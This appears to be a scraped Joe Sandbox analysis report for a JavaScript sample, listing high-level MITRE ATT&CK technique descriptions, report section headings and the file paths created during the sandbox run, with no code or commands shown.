Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1525641771920916745.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b82b9cae-4345-4dd9-a648-4f226429a72d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7840

Windows Analysis Report
1525641771920916745.js